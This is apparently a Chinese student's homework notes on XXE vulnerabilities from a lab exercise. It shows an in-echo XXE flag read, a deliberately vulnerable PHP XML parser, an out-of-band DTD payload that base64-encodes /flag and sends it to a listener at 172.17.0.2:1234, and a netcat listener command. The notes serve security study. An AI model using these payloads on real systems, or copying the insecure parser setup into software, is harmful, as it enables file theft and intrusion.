班级作业笔记报告0x07

XXE漏洞

XXE基础知识

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE 文件名[

<!ENTITY 实体名 "实体内容">

]>

<元素名称 category="属性">

文本或其他元素

</元素名称>

作业1:

常规XXE漏洞

登录框抓包任意输入账号密码

username处有回显

构造XXE

没怎么学和玩过XXE漏洞,听说也是好多年前的漏洞了,看了一些文章,发现可以不用输入<?xml version="1.0" encoding="utf-8"?>,一样可以读取到flag

作业2:

Bind型XXE漏洞

这个没有靶场环境,只能在自己的机子上完成了。。。

无回显XXE漏洞

php代码

<?php

libxml_disable_entity_loader(false);

$xmlfile=file_get_contents('php://input');

$dom=new DOMDocument();

dom-\>loadXML(xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);

?>

需要引用外部.dtd文件,要想利用.dtd文件来读取内容flag文件内容需要.dtd构造如下XML

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">

<!ENTITY % int "<!ENTITY % send SYSTEM 'http://172.17.0.2:1234?p=%file;'>">

而请求包会这样构造

<!DOCTYPE convert [

<!ENTITY % remote SYSTEM "http://172.17.0.2:80/test.dtd">

%remote;%int;%send;

]>

然后需要对端口进行监听

nc -lvvp 1234

个人评价:

XXE漏洞可以造成敏感文件读取、内网探测SSRF、数据外带传输、拒绝服务,特定环境下还可以造成RCE漏洞和业务中断与信息收集

相关推荐
AnalogElectronic2 小时前
python后端的学习笔记1
笔记·python·学习
y = xⁿ2 小时前
(小林coding) 计算机网络学习笔记:什么是HTTP?
笔记·学习·计算机网络
咬_咬2 小时前
go语言学习(变量定义与输入输出)
开发语言·学习·golang·io·go语言··go变量定义
EasyGBS2 小时前
国密GB35114+国标GB28181平台EasyGBS双重加持筑牢雪亮工程坚实安全底座
安全
Mr. G K2 小时前
探测XSS漏洞方法
安全·web安全·xss
程序员雷欧2 小时前
大模型应用开发学习第四天
学习
KC2702 小时前
制造业企业OpenClaw类AI智能体安全配置手册
人工智能·安全
watersink2 小时前
第11章 安全架构设计理论与实践
安全·安全架构